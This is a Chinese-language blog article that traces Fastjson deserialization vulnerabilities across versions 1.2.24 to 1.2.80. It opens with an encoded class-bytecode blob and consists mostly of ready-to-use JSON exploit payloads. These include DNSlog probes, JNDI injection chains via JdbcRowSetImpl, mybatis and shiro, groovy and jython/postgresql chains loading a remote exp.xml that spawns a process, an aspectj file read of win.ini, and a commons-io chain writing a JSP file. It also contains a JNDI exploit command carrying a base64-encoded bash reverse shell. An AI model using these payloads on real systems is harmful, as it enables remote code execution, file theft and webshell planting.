91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A}"}}

部分内容参考：

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg https://mp.weixin.qq.com/s/nKPsoNkHtNdOj-_v53Bc9w

Java中Fastjson各版本漏洞对抗史与总结

Tue, 15 Apr 2025 16:30:00 GMT

Java中Fastjson各版本漏洞对抗史与总结

漏洞简述

Fastjson是阿里巴巴的开源JSON解析库，可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。攻击者可以利用该漏洞执行任意代码，导致严重的安全威胁。

漏洞原理：Fastjson反序列化是源于在处理json数据时对输入的验证不足，没有对@type字段进行过滤，导致攻击者可以构造一个恶意的JSON数据，将恶意类作为AutoType的值，当Fastjson反序列化时，从而实例化指定类导致远程代码执行。

漏洞指纹特征：提交为POST请求，格式改为application/json,测试是否返回fastjson字符串，也可能是无回显。

DNS盲打

利用dnslog接收平台进行盲打验证

{"aa":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"aa":{"@type":"java.net.Inet6Address","val":"dnslog"}}

//变换
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

测试后返回接受平台查看是否存在

无返回数据探测

学习到一些trick，在返回包无报错信息测试

版本：1.2.83/1.2.24

{"test":{"@type":"java.lang.Exception","@type":"org.XxException"}}

版本：1.2.24-1.2.68

{"test":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

版本：1.2.24-1.2.47

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}

版本 1.2.24

{"test": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

测试

简单测试一下案例-通过fastjson弹计算器

这里我们已经知道fastjson反序列化时，可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍，如果此时这四个方法中有危险操作，则会导致反序列化漏洞，也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。fastjson在反序列化时，可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍，如果此时这四个方法中有危险操作，则会导致反序列化漏洞，也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发

构造一个Student类

package FastjsonDemo.fastJsonDemo1;

import java.io.IOException;

public class Student {
    public String name;
    private int age;
    public Student(){
        System.out.println("Student构造函数");
    }

    public String getName() {
        System.out.println("Student getName");
        return name;
    }

    public void setName(String name) throws IOException {
        System.out.println("Student setName");
        Runtime.getRuntime().exec("calc");
        this.name = name;
    }

    public int getAge() {
        System.out.println("Student getAge");

        return age;
    }
}
Student_fastjson类`去加载 成功加载造成`反序列化漏洞
package FastjsonDemo.fastJsonDemo1;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Student_fastjson {
    public static void main(String[] args) throws Exception{
        String json = "{\"@type\":\"FastjsonDemo.fastJsonDemo1.Student\",\"age\":18,\"name\":\"5wimming\"}";
        System.out.println("测试Fastjson SupportNonPublicField");
        Student student = JSON.parseObject(json, Student.class, Feature.SupportNonPublicField);
        System.out.println(student);
        System.out.println(student.getClass().getName());
        System.out.println(student.getName() + " " + student.getAge());
    }
}

Fastjson1.2.24

漏洞：cnvd-2017-02833

TemplatesImpl 反序列化

影响版本：在早期的fastjson<=1.2.24中，默认是使用@type来指定反序列化任意类，这就造成了攻击者可通过java环境寻找构造恶意类，再通过反序列化过程中去调用其中的getter/setter方法，形成恶意调用链。我们来分析一下常规的TemplatesImpl 反序列化

定位TemplatesImpl包，直接进行导包跟进即可

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

测试的pom.xml对应fastjson版本

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

跟进源码进行分析，可以发现在这个类中是存在一个Class类的数组，其下标为_transletIndexdex的类会来到getTransletInstance方法使用newInstance实例化

继续向下跳，寻找getTransletInstance的重载方法，发现newTransformer调用了，而类中的getOutputProperties方法又调用了newTransformer

继续分析getOutputProperties()方法，会发现其实就是_outputProperties中的getter方法

到这里基本调用链出来了，那么我们继续进行分析，_class类是否可控，继续审计其调用处，发现readObject、构造方法以及 defineTransletClasses()中有赋值操作

来到defineTransletClasses()类分析，发现这里是存在漏洞点的，这里如果_class不为空就会调用，分析其逻辑:

首先要求_bytecodes不为null，接着调用其中的_byte[]，如果父类为ABSTRACT_TRANSLET则进行调用

父类AbstractTranslet其加载包为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

完整的恶意利用链子：

构造一个TemplatesImpl反序列化字符串-> __bytecodes加载字节码->令其父类为AbstractTranslet->最终通过newInstance()实例化->满足 _name 不为 null ，_tfactory 不为 null

最终Poc为

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意字节码"],
    "_name": "test",
    "_tfactory": {},
    "_outputProperties": {},
}

JdbcRowSetImpl 反序列化

前面已经了解了有关TemplatesImpl 反序列化的链子，继续研究一下另一条导致JNDI注入的漏洞利用链 JdbcRowSetImpl 类位于com.sun.rowset.JdbcRowSetImpl 导入此类进行分析，跟进JdbcRowSetImpl 来到setAutoCommit()方法，审计setAutoCommit()方法，当this.conn为null则调用this.connect()

跟进this.connect()，这里调用了javax.naming.InitialContext的lookup()方法，获取成员变量DataSource

这里lookup()方法参数正好也是dataSourceName，最终控制dataSouceName造成反序列化漏洞最终Poc为

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:1234/Exploit",
    "autoCommit":true
}

漏洞测试而：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "IP"

修改为post传参方式，传入以下格式

{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://test.com:9999/TouchFile",
        "autoCommit":true
    }
}

Fastjson1.2.25

引入 checkAutoType 安全机制 安全更新主要集中在com.alibaba.fastjson.parser.ParserConfig，首先查看类上出现了几个成员变量：布尔型的 autoTypeSupport，用来标识是否开启任意类型的反序列化，并且默认关闭；字符串数组 denyList ，是反序列化类的黑名单；acceptList 是反序列化白名单。

过滤如下

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
开启autoType的情况`
继续向下分析 `checkAutoType()`整体逻辑，这里如果开启了`autoType`会先做一个判断，是否处在白名单，在的话通过`TypeUtils.loadClass`进行加载，然后再判断`黑名单

没开启autoType的情况 顺序则是先使用黑名单进行匹配，再用白名单进行匹配和加载。如果反序列化黑白名单未成功匹配，那么只有当开启了autoType或 expectClass不为空(指定Class对象)才能调用 typeUtils.loadClass加载

继续跟进 loadClass

发现漏洞，这里是存在一处逻辑问题的，本身这里是写了一个兼容带有描述符的类，可这些在类加载过程中会被处理掉。最终漏洞思路开启autoType后，构造描述符绕过，添加字符 L``[``; 即可

附上Poc

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://127.0.0.1:1234/Exploit",
    "autoCommit":true
}

或 
{
    "a":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://test.com:9999/TouchFile",
        "autoCommit":true
    }
}

Fastjson1.2.42

继续分析，来到Fastjson1.2.42，在此版本只是进一步对黑白名单的规则进行修改。这里主要是修改黑名单类添加了一个对Hash方式的对比对之前版本存在类描述符绕过黑名单修复。

下面继续分析，继续来到com.alibaba.fastjson.parser.ParserConfig这个类定位到ParserConfig方法，发现denyHashCodes对原本的黑名单策略做了一个Hash校验黑名单

继续向下分析，这里看CheckAutoType 分析整体逻辑，其实就是对黑名单进行截断第一个字符是否为类描述符，做一个Hash匹配，如果是则匹配失败。但我们前面分析过，这里loadClass()加载类

来到loadClass，还是采取递归处理的

最终Poc，添加两个类描述符

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:1234/Exploit",
    "autoCommit":true
}

fastjson1.2.43

换源，继续分析逻辑

跟进类com.alibaba.fastjson.parser.ParserConfig 还是对Hash黑名单进行一个匹配，分析如下

long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        throw new JSONException("autoType is not support. " + typeName);
    }

这里其实是对代码根据类名中字符的ASCII 值检查特定条件，如果两个条件都满足，就会抛出一个带有特定消息的 JSONException 漏洞产生：并未对所有类描述符进行严格过滤，这里是可以添加[字符成功绕过的

附上poc

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
    "autoCommit":true
}

或
{
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
        "dataSourceName":"rmi://test.com:9999/TouchFile",
        "autoCommit":true
    }
}

fastjson1.2.44

此版本加固了fastjson1.2.43版本使用[字符绕过规则，这个版本基本上是相对安全了影响版本：1.2.25 <= fastjson <= 1.2.44 浅分析一下代码，增加了规则，出现[字符直接抛出异常判断失败

fastjson1.2.45

分析版本来到fastjson1.2.45，此版本升级后，存在一个黑名单匹配绕过，绕过类

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

利用条件如下

目标服务端存在mybatis的jar包。
版本需为 3.x.x ～ 3.5.0
autoTypeSupport属性为true才能使用。（fastjson >= 1.2.25默认为false）

Poc如下

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:1234/Exploit"
    }
}

或
{
    "b":{
        "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
        "properties":{"data_source":"ldap://localhost:1389/Exploit"}
    }
}

fastjson1.2.47

漏洞隐患，不需要开启AutoTypeSupport直接进行反序列化操作利用条件如下：

小于 1.2.48 版本的通杀，AutoType为关闭状态也可以。
loadClass中默认cache设置为true

继续分析类com.alibaba.fastjson.parser.ParserConfig，来到CheckAutoType()方法先分析第一段

往下分析代码逻辑，这里有两个需要注意的TypeUtils.getClassFromMapping和deserializers 这里deserializers ，其实是一个 IdentityHashMap，能从其中赋值函数

getDeserializer()：这个类用来加载一些特定类，以及有 JSONType 注解的类，在 put 之前都有类名及相关信息的判断，无法为我们所用。
initDeserializers()：无入参，在构造方法中调用，写死一些认为没有危害的固定常用类，无法为我们所用。
putDeserializer()：被前两个函数调用，我们无法控制入参。

来到TypeUtils.getClassFromMapping

分析loadClass()类的代码，这里可以指导TypeUtils.getClassFromMapping同样是从TypeTUtils.mappingz中进行取值关键函数: addBaseClassMappings() loadClass()加载

分析代码得到逻辑，这里我们只要控制loadClass()方法参数，就可以写入任意类名到mappings中，下面寻找重载方法，分析寻找一下loadClass(String className, ClassLoader classLoader)调用处翻阅发现，我们需要来到initDeserializer方法，发现MiscCodec是可用来处理反序列化类的

跟进_MiscCo_d_eC_类，审计其中代码，发现一处if判断 来到deserialze，发现这里 parser.resolveStatus做了一个判断，并且是会解析val中内容，传入值到strVal字符串中

继续向下分析逻辑，发现这里clazz=Class.class，会调用loadClass()方法，并将strVal类加载并缓存

到这里我们基本逻辑疏通了，我们呢需要组成一条恶意调用链，这里记住我们的入口点是 Class.class，可传入参数一下参数进行调试测试 {"@type":"java.lang.Class","val":"test"}

:::info 完整恶意调用链：先通过parser.parseObject调用DefaultJSONParser对传入json数据解析

这里由于deserializers 初始化已经加载了Class.class，绕过AutoTypeSupport检测 下面需要设置 resolveStatus值为TypeNameRedirect，然后来到MiscCodec.deserialze()对class类型进行处理，最终解析Json数据中的val内容，将其放入到objVal，传递到strVal中并使用loadClass加载方法并缓存到mappings中，最终再次以恶意类请求@type即可绕过黑名单阻扰进行反序列化操作！！！ :::

最终Poc如下 ladp://

{
    "aaa": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "bbb": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:1234/Exploit",
        "autoCommit": true
    }
}
rmi://
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

fastjson <=1.2.62 和 <=1.2.66

积累的两个poc,基于黑名单绕过fastjson <= 1.2.62

{
  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
  "AsText":"rmi://127.0.0.1:1099/exploit"
}";

基于fastjson<=1.2.66的poc

{
  "@type":"org.apache.shiro.jndi.JndiObjectFactory",
  "resourceName":"ldap://192.168.80.1:1389/Calc"
  }

fastjson1.2.68

在之前版本1.2.47 版本漏洞爆发之后，官方在 1.2.48 对漏洞进行了修复。对MiscCodec 处理 Class 类的设置了cache=false，并且loadClass重载默认为不缓存，直接避免了提前使用``Class类恶意类名缓存造成的反序列化漏洞

随着版本的更新，直到fastjson1.2.68又存在一个新的漏洞点，可使用expectClass去绕过checkAutoType()检测机制，主要使用Throwable和 AutoCloseable来绕过

下面配置一下环境pom.xml

<dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.68</version>
    </dependency>

在1.2.68版本下，更新了一个新的安全控制点 safeMode，如果开启的话，将在checkAutoType()直接抛出异常，进行ban掉修复。那既然说到是存在一个新的autoType开关，接下来进行分析这个绕过方式，函数分析safeMode控制点

这里继续往下看，发现代码的逻辑处存在漏洞点，可通过传参expectClass，类名为子类进行绕过checkAutoType机制

接下来，往回分析，寻找一下调用checkAutoType的重载方法是否存在可控的expectClass传参，进行搜索发现有两处重载方法，分别为：ThrowableDeserializer、JavaBeanDeserializer

进一步跟进查看，发现直接ThrowableDeserializer方法会将@type 后的类传入到checkAutoType() 这里expectClass 为 Throwable.class类

继续向下，发现通过checkAutoType()机制之后，最终将会使用createException异常类的实例

fastjson1.2.80

在上述1.2.68版本修复方案，新版本将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单，那么1.2.80用的就是另一个期望类,漏洞点异常类Throwable。有个重要的点来自于：反序列化setter method parameter OR public field（无视autotype机制）时添加类到白名单

版本探测
{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}

{"a":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}},"b":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}}
报错探测依赖库
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}

groovy利用

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:9999/"
    }
}

JDBC：依赖 jython+postgresql+spring-context，poc如下

{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
            },
            "url":""
        }
    }
}

加载的exp.xml

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
  <constructor-arg>
    <list value-type="java.lang.String" >
       <value>cmd</value>
       <value>/c</value>
       <value>calc</value>
    </list>
  </constructor-arg>
  <property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

aspectj 任意文件读取, poc如下，需要分为三次进行利用

//第一次
{
   "@type":"java.lang.Exception",
   "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}


//第二次
   {
      "@type":"java.lang.Class",
      "val":{
         "@type":"java.lang.String"{
      "@type":"java.util.Locale",
      "val":{
         "@type":"com.alibaba.fastjson.JSONObject",{
      "@type":"java.lang.String"
      "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
      "newAnnotationProcessorUnits":[{}]
   }
}
}
//第三次，针对Windows系统
   {
      "x":{
         "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
         "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
         "fileName":"c:\\windows\win.ini"
      }
   }
//另一种姿势，报错回显
{
    "@type":"java.lang.Character"
    {
        "c":{
            "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
            "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
            "fileName":"c:/windows/win.ini"
    }
}
//第三次2 报错回显
commons-io 写入文件

参考su18师傅的poc

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import jdk.nashorn.internal.parser.JSONParser;


public class demo {
    public static void main(String[] args) {
        String code = "test";
        for (int i = 0; i < 8200; i++) {
            code += "a";
        }
        String poc2 = "    \r\n"
                + "    {\r\n"
                + "  \"su14\": {\r\n"
                + "    \"@type\": \"java.lang.Exception\",\r\n"
                + "    \"@type\": \"ognl.OgnlException\"\r\n"
                + "  },\r\n"
                + "  \"su15\": {\r\n"
                + "    \"@type\": \"java.lang.Class\",\r\n"
                + "    \"val\": {\r\n"
                + "      \"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n"
                + "      {\r\n"
                + "        \"@type\": \"java.lang.String\"\r\n"
                + "        \"@type\": \"ognl.OgnlException\",\r\n"
                + "        \"_evaluation\": \"\"\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su16\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "      \"reader\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\r\n"
                + "        \"charSequence\":{\"@type\":\"java.lang.String\"\""+code+"\"\r\n"
                + "      },\r\n"
                + "      \"charsetName\":\"UTF-8\",\r\n"
                + "      \"bufferSize\":1024\r\n"
                + "    },\r\n"
                + "            \"branch\":{\r\n"
                + "      \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\r\n"
                + "      \"writer\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\r\n"
                + "        \"file\":\"1.jsp\",\r\n"
                + "        \"encoding\":\"UTF-8\",\r\n"
                + "        \"append\": false\r\n"
                + "      },\r\n"
                + "      \"charsetName\":\"UTF-8\",\r\n"
                + "      \"bufferSize\": 1024,\r\n"
                + "      \"writeImmediately\": true\r\n"
                + "    },\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su17\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"
                + "        \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su18\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"
                + "        \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },\r\n"
                + "    \"su19\": {\r\n"
                + "      \"@type\": \"ognl.Evaluation\",\r\n"
                + "      \"node\": {\r\n"
                + "        \"@type\": \"ognl.ASTMethod\",\r\n"
                + "        \"p\": {\r\n"
                + "          \"@type\": \"ognl.OgnlParser\",\r\n"
                + "          \"stream\": {\r\n"
                + "            \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"
                + "            \"delegate\": {\r\n"
                + "              \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"
                + "              \"reader\": {\r\n"
                + "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"
                + "      \"is\":{\r\n"
                + "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
                + "        \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"
                + "        \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"
                + "        \"closeBranch\": true\r\n"
                + "      },\r\n"
                + "      \"httpContentType\":\"text/xml\",\r\n"
